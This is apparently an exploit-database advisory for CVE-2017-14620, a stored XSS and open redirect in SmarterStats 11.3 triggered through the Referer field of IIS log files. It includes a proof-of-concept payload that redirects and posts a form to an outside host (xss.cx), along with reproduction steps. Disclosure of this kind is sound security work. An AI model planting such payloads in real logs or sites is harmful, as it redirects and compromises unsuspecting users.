CVE-2017-14620

vendor:

SmarterStats

by:

David Hoyt

6,1

CVSS

MEDIUM

Stored Document Object Model Cross Site Scripting (Stored DOM XSS), Client Side Request Forgery (CSRF), Open Redirection

533, 532, 117, 93

CWE

Product Name: SmarterStats

Affected Version From: 11.3

Affected Version To: 11.3.6347

Patch Exists: YES

Related CWE: CVE-2017-14620

CPE: a:smartertools:smarterstats:11.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2017

SmarterStats Version 11.3.6347, and possibly prior versions, will Render the Referer Field of HTTP Logfiles in URL /Data/Reports/ReferringURLsWithQueries. The vulnerability can be exploited by an attacker to inject malicious HTML tags into the Referer field of an HTTP logfile, which can be rendered in a browser when the user clicks the Referer URL link in the Referer URL report. The attacker can then use the malicious HTML tags to perform malicious activities such as Cross Site Scripting (XSS), Client Side Request Forgery (CSRF), and Open Redirection.

Mitigation:

SmarterStats should be updated to the latest version. Users should also be aware of the risks of clicking on links in the Referer URL report.

Source

Exploit-DB raw data:

----------------------------
Title: CVE-2017-14620
----------------------------
TL;DR: SmarterStats Version 11.3.6347, and possibly prior versions, 
will Render the Referer Field of HTTP Logfiles in URL /Data/Reports/ReferringURLsWithQueries
----------------------------
Author: David Hoyt
Date: September 29, 2017
----------------------------
CVSS:3.0 Metrics
CVSS:3.0 Vector String: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N/E:H/RL:O/RC:C/CR:M/MAV:N/MAC:L/MPR:N/MUI:R/MS:U/MC:L/MI:N/MA:N
CVSS:3.0 Scores: Base Score 4.3, Temporal Score: 4.1, Environmental Score: 4.1
----------------------------
Keywords
----------------------------
CVE-2017-14620, CWE-533, CWE-532, CWE-117, CWE-93, CAPEC-86, CAPEC-79, Stored Document Object Model Cross Site Scripting (Stored DOM XSS), 
Client Side Request Forgery (CSRF), Open Redirection, HTTP Logfiles, Exploit, PoC, HTML Tags, SmarterStats 11.3
----------------------------
CVE-2017-14620 Requirements
----------------------------
	SmarterStats Version 11.3
	HTTP Proxy (BurpSuite, Fiddler)
	Web Browser (Chrome - Current/Stable)
	User Interaction Required - Must Click Referer Link Report
	Supported Windows OS
	Microsoft .NET 4.5
----------------------------
CVE-2017-14620 Reproduction
----------------------------
Vendor Link https://www.smartertools.com/smarterstats/website-analytics
Download Link https://www.smartertools.com/smarterstats/downloads

Step 1: Test with an HTTP Logfile containing a URL-encoded String to the Referer Field with HTML Tags to be Rendered in a Browser:

http://www.bing.com/search?q=<html><head><meta http-equiv=\"refresh\" content=\"5; 
url=http://xss.cx/\"><title>Loading</title></head>\n<body><form method=\"post\" 
action=\"http://xss.cx/\" target=\"_top\" id=\"rf\"><input type=\"hidden\" 
name=\"ic\" value=\"0\"><input type=\"hidden\" name=\"fb\" value=\"true\"/>
</form>\n<script>!function(e,t){var n,i;return!e.navigator&form=nnn

Step 2: Verify the Injected IIS Logfile
Step 3: Process the Logfiles, Select the Referer URL Report. 
In an HTTP Proxy, watch the URL  http://localhost:9999/Data/Reports/ReferringURLsWithQueries 
when Browsing http://localhost:9999/Default.aspx in Chrome (current/stable).

Step 4: Verify the Result in your HTTP Proxy returned from the Server:

{"c":[{"v":"http://www.bing.com/search?q=<html><head><meta http-equiv=\"refresh\" 
content=\"5; url=http://xss.cx/\"><title>Loading</title></head>\n<body>
<form method=\"post\" action=\"http://xss.cx/\" target=\"_top\" id=\"rf\">
<input type=\"hidden\" name=\"ic\" value=\"0\"><input type=\"hidden\" name=\"fb\" value=\"true\"/>
</form>\n<script>!function(e,t){var n,i;return!e.navigator&form=nnn"},{"v":"2","f":"2"}]}

In your Browser, the HTTP Response will cause a GET to xss.cx after 5 seconds. Verify in HTTP Proxy.
...
GET / HTTP/1.1
Host: xss.cx
...

Step 5: Watch your Browser get Redirected to XSS.Cx.
----------------------------
Summary: The Referer Field in IIS Logfiles, and possibly other Field Names, are Rendered by SmarterStats Version 11.3.6347.
----------------------------
Timeline
----------------------------
Reported to SmarterTools on September 19, 2017
Obtain CVE-2017-14620 from MITRE on September 20, 2017
Resolved September 28, 2017 with Version 11.xxxx